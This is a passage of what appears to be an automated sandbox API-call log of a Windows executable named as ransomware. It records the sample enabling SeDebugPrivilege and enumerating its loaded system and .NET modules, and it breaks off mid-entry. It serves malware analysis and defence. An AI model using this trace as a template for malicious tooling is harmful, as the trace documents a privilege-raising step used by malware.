# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Mar 26 2019 18:49:32 # Log Creation Date: 31.03.2019 21:12:37.501 Process: id = "1" image_name = "unnam3d - ransm.exe" filename = "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe" page_root = "0x35c84000" os_pid = "0xe64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xeb4 [0033.045] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0033.484] RoInitialize () returned 0x1 [0033.484] RoUninitialize () returned 0x0 [0034.378] CoTaskMemAlloc (cb=0x8) returned 0x9a8838 [0034.407] GetCurrentProcessId () returned 0xe64 [0034.436] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x73ca8c | out: lpLuid=0x73ca8c*(LowPart=0x14, HighPart=0)) returned 1 [0034.438] GetCurrentProcess () returned 0xffffffff [0034.439] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x73ca88 | out: TokenHandle=0x73ca88*=0x2c8) returned 1 [0034.440] AdjustTokenPrivileges (in: TokenHandle=0x2c8, DisableAllPrivileges=0, NewState=0x2543888*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0034.440] CloseHandle (hObject=0x2c8) returned 1 [0034.450] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe64) returned 0x2c8 [0034.489] EnumProcessModules (in: hProcess=0x2c8, lphModule=0x25441cc, cb=0x100, lpcbNeeded=0x73d164 | out: lphModule=0x25441cc, lpcbNeeded=0x73d164) returned 1 [0034.491] GetModuleInformation (in: hProcess=0x2c8, hModule=0xd0000, lpmodinfo=0x254430c, cb=0xc | out: lpmodinfo=0x254430c*(lpBaseOfDll=0xd0000, SizeOfImage=0x2c6000, EntryPoint=0x0)) returned 1 [0034.492] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.492] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0xd0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="UNNAM3D - RANSM.exe") returned 0x13 [0034.493] CoTaskMemFree (pv=0x9ac358) [0034.494] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.494] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0xd0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe")) returned 0x2b [0034.494] CoTaskMemFree (pv=0x9ac358) [0034.495] GetModuleInformation (in: hProcess=0x2c8, hModule=0x77bb0000, lpmodinfo=0x2546478, cb=0xc | out: lpmodinfo=0x2546478*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0034.495] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.495] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x77bb0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0034.495] CoTaskMemFree (pv=0x9ac358) [0034.495] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.495] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x77bb0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0034.495] CoTaskMemFree (pv=0x9ac358) [0034.495] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74200000, lpmodinfo=0x254857c, cb=0xc | out: lpmodinfo=0x254857c*(lpBaseOfDll=0x74200000, SizeOfImage=0x55000, EntryPoint=0x74230a30)) returned 1 [0034.495] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.495] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74200000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0034.495] CoTaskMemFree (pv=0x9ac358) [0034.495] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.495] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74200000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0034.495] CoTaskMemFree (pv=0x9ac358) [0034.495] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75e90000, lpmodinfo=0x254a688, cb=0xc | out: lpmodinfo=0x254a688*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0034.496] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.496] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75e90000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0034.496] CoTaskMemFree (pv=0x9ac358) [0034.496] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.496] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75e90000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0034.496] CoTaskMemFree (pv=0x9ac358) [0034.496] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74ea0000, lpmodinfo=0x254c79c, cb=0xc | out: lpmodinfo=0x254c79c*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0034.496] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.496] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74ea0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0034.496] CoTaskMemFree (pv=0x9ac358) [0034.496] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.496] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74ea0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0034.496] CoTaskMemFree (pv=0x9ac358) [0034.496] GetModuleInformation (in: hProcess=0x2c8, hModule=0x745d0000, lpmodinfo=0x254e8e4, cb=0xc | out: lpmodinfo=0x254e8e4*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0034.497] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.497] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x745d0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0034.497] CoTaskMemFree (pv=0x9ac358) [0034.497] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.497] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x745d0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0034.497] CoTaskMemFree (pv=0x9ac358) [0034.497] GetModuleInformation (in: hProcess=0x2c8, hModule=0x761b0000, lpmodinfo=0x25509f0, cb=0xc | out: lpmodinfo=0x25509f0*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0034.497] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.497] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x761b0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0034.497] CoTaskMemFree (pv=0x9ac358) [0034.497] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.497] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x761b0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0034.497] CoTaskMemFree (pv=0x9ac358) [0034.498] GetModuleInformation (in: hProcess=0x2c8, hModule=0x77a30000, lpmodinfo=0x2552b04, cb=0xc | out: lpmodinfo=0x2552b04*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0034.498] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.498] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x77a30000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0034.498] CoTaskMemFree (pv=0x9ac358) [0034.498] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.498] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x77a30000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0034.498] CoTaskMemFree (pv=0x9ac358) [0034.498] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75fb0000, lpmodinfo=0x2554c10, cb=0xc | out: lpmodinfo=0x2554c10*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0034.498] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.498] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75fb0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0034.498] CoTaskMemFree (pv=0x9ac358) [0034.498] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.498] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75fb0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0034.498] CoTaskMemFree (pv=0x9ac358) [0034.498] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74710000, lpmodinfo=0x2556d68, cb=0xc | out: lpmodinfo=0x2556d68*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0034.499] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.499] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74710000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0034.499] CoTaskMemFree (pv=0x9ac358) [0034.499] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.499] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74710000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0034.499] CoTaskMemFree (pv=0x9ac358) [0034.499] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74680000, lpmodinfo=0x2558e74, cb=0xc | out: lpmodinfo=0x2558e74*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0034.499] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.499] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74680000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0034.499] CoTaskMemFree (pv=0x9ac358) [0034.499] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.499] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74680000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0034.499] CoTaskMemFree (pv=0x9ac358) [0034.499] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74670000, lpmodinfo=0x255af80, cb=0xc | out: lpmodinfo=0x255af80*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0034.499] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.499] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74670000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0034.500] CoTaskMemFree (pv=0x9ac358) [0034.500] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.500] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74670000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0034.500] CoTaskMemFree (pv=0x9ac358) [0034.500] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74da0000, lpmodinfo=0x255d094, cb=0xc | out: lpmodinfo=0x255d094*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0034.500] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.500] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74da0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0034.500] CoTaskMemFree (pv=0x9ac358) [0034.500] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.500] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74da0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0034.500] CoTaskMemFree (pv=0x9ac358) [0034.500] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74180000, lpmodinfo=0x255f1c8, cb=0xc | out: lpmodinfo=0x255f1c8*(lpBaseOfDll=0x74180000, SizeOfImage=0x7d000, EntryPoint=0x74183c80)) returned 1 [0034.500] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.500] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74180000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0034.501] CoTaskMemFree (pv=0x9ac358) [0034.501] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.501] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74180000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0034.501] CoTaskMemFree (pv=0x9ac358) [0034.501] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75f60000, lpmodinfo=0x2561310, cb=0xc | out: lpmodinfo=0x2561310*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0034.501] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.501] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75f60000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0034.501] CoTaskMemFree (pv=0x9ac358) [0034.501] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.501] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75f60000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0034.501] CoTaskMemFree (pv=0x9ac358) [0034.501] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75c50000, lpmodinfo=0x256341c, cb=0xc | out: lpmodinfo=0x256341c*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0034.501] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.501] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75c50000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0034.502] CoTaskMemFree (pv=0x9ac358) [0034.502] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.502] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75c50000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0034.502] CoTaskMemFree (pv=0x9ac358) [0034.502] GetModuleInformation (in: hProcess=0x2c8, hModule=0x76000000, lpmodinfo=0x2565528, cb=0xc | out: lpmodinfo=0x2565528*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0034.502] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.502] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x76000000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0034.502] CoTaskMemFree (pv=0x9ac358) [0034.502] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.502] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x76000000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0034.502] CoTaskMemFree (pv=0x9ac358) [0034.502] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75b70000, lpmodinfo=0x25676c8, cb=0xc | out: lpmodinfo=0x25676c8*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0034.502] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.502] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75b70000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0034.503] CoTaskMemFree (pv=0x9ac358) [0034.503] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.503] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75b70000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0034.503] CoTaskMemFree (pv=0x9ac358) [0034.503] GetModuleInformation (in: hProcess=0x2c8, hModule=0x76290000, lpmodinfo=0x25697cc, cb=0xc | out: lpmodinfo=0x25697cc*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0034.503] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.503] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x76290000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0034.503] CoTaskMemFree (pv=0x9ac358) [0034.503] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.503] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x76290000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0034.503] CoTaskMemFree (pv=0x9ac358) [0034.503] GetModuleInformation (in: hProcess=0x2c8, hModule=0x77b30000, lpmodinfo=0x256b8e0, cb=0xc | out: lpmodinfo=0x256b8e0*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0034.503] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.503] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x77b30000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0034.504] CoTaskMemFree (pv=0x9ac358) [0034.504] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.504] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x77b30000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0034.504] CoTaskMemFree (pv=0x9ac358) [0034.504] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74b70000, lpmodinfo=0x256d9f4, cb=0xc | out: lpmodinfo=0x256d9f4*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0034.504] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.504] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74b70000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0034.504] CoTaskMemFree (pv=0x9ac358) [0034.504] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.504] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74b70000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0034.504] CoTaskMemFree (pv=0x9ac358) [0034.504] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74ac0000, lpmodinfo=0x256fb00, cb=0xc | out: lpmodinfo=0x256fb00*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0034.504] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.504] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74ac0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0034.504] CoTaskMemFree (pv=0x9ac358) [0034.505] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.505] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74ac0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0034.505] CoTaskMemFree (pv=0x9ac358) [0034.505] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74e20000, lpmodinfo=0x2571c0c, cb=0xc | out: lpmodinfo=0x2571c0c*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0034.505] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.505] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74e20000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0034.505] CoTaskMemFree (pv=0x9ac358) [0034.505] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.505] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74e20000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0034.505] CoTaskMemFree (pv=0x9ac358) [0034.505] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75ba0000, lpmodinfo=0x2573d10, cb=0xc | out: lpmodinfo=0x2573d10*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0034.505] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.505] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75ba0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0034.506] CoTaskMemFree (pv=0x9ac358) [0034.506] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.506] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75ba0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0034.506] CoTaskMemFree (pv=0x9ac358) [0034.506] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74170000, lpmodinfo=0x2575e3c, cb=0xc | out: lpmodinfo=0x2575e3c*(lpBaseOfDll=0x74170000, SizeOfImage=0x8000, EntryPoint=0x741717c0)) returned 1 [0034.506] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.506] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74170000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0034.506] CoTaskMemFree (pv=0x9ac358) [0034.506] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.506] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74170000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0034.506] CoTaskMemFree (pv=0x9ac358) [0034.506] GetModuleInformation (in: hProcess=0x2c8, hModule=0x73a80000, lpmodinfo=0x2577f48, cb=0xc | out: lpmodinfo=0x2577f48*(lpBaseOfDll=0x73a80000, SizeOfImage=0x6e6000, EntryPoint=0x73a983d0)) returned 1 [0034.506] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.506] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x73a80000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0034.506] CoTaskMemFree (pv=0x9ac358) [0034.507] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.507] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x73a80000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0034.507] CoTaskMemFree (pv=0x9ac358) [0034.507] GetModuleInformation (in: hProcess=0x2c8, hModule=0x73980000, lpmodinfo=0x257a078, cb=0xc | out: lpmodinfo=0x257a078*(lpBaseOfDll=0x73980000, SizeOfImage=0xf5000, EntryPoint=0x739d4180)) returned 1 [0034.507] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.507] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x73980000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0034.507] CoTaskMemFree (pv=0x9ac358) [0034.507] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.507] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x73980000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0034.507] CoTaskMemFree (pv=0x9ac358) [0034.507] GetModuleInformation (in: hProcess=0x2c8, hModule=0x725f0000, lpmodinfo=0x257c1ac, cb=0xc | out: lpmodinfo=0x257c1ac*(lpBaseOfDll=0x725f0000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0034.507] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.507] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x725f0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0034.507] CoTaskMemFree (pv=0x9ac358) [0034.507] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.507] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x725f0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0034.508] CoTaskMemFree (pv=0x9ac358) [0034.508] GetModuleInformation (in: hProcess=0x2c8, hModule=0x77920000, lpmodinfo=0x257e354, cb=0xc | out: lpmodinfo=0x257e354*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0034.508] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.508] GetModuleBaseNameW (in: hProcess=0x2c8, 